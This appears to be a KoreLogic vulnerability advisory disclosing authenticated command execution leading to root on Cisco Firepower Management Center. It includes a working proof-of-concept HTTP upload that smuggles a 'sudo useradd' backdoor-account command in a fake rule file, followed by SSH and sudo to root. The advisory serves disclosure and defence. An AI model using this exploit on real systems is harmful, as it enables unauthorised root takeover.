Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access

Vulnerability Description

An authenticated user can run arbitrary system commands as the www user which leads to root.

Technical Description

A valid session and CSRF token is required. The webserver runs as a non-root user which is permitted to sudo commands as root with no password.

POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798
Content-Length: 813

-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="manual_update"

1
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="source"

file
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="file"; filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"
Content-Type: application/octet-stream

sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="action_submit"

Import
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="sf_action_id"

8c6059ae8dbedc089877b16b7be2ae7f
-----------------------------15519792567789791301241925798--


HTTP/1.1 200 OK
Date: Sat, 23 Apr 2016 13:38:01 GMT
Server: Apache
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 49998
Connection: close
Content-Type: text/html; charset=utf-8

...

$ ssh korelogic@1.3.3.7
Password:

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Cisco Fire Linux OS v6.0.1 (build 37)
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)

Could not chdir to home directory /Volume/home/korelogic: No such file or directory
korelogic@firepower:/$ sudo su -
Password:
root@firepower:~#

Mitigation and Remediation Recommendation

The vendor has acknowledged this vulnerability but has not issued a fix. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See Technical Description

The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt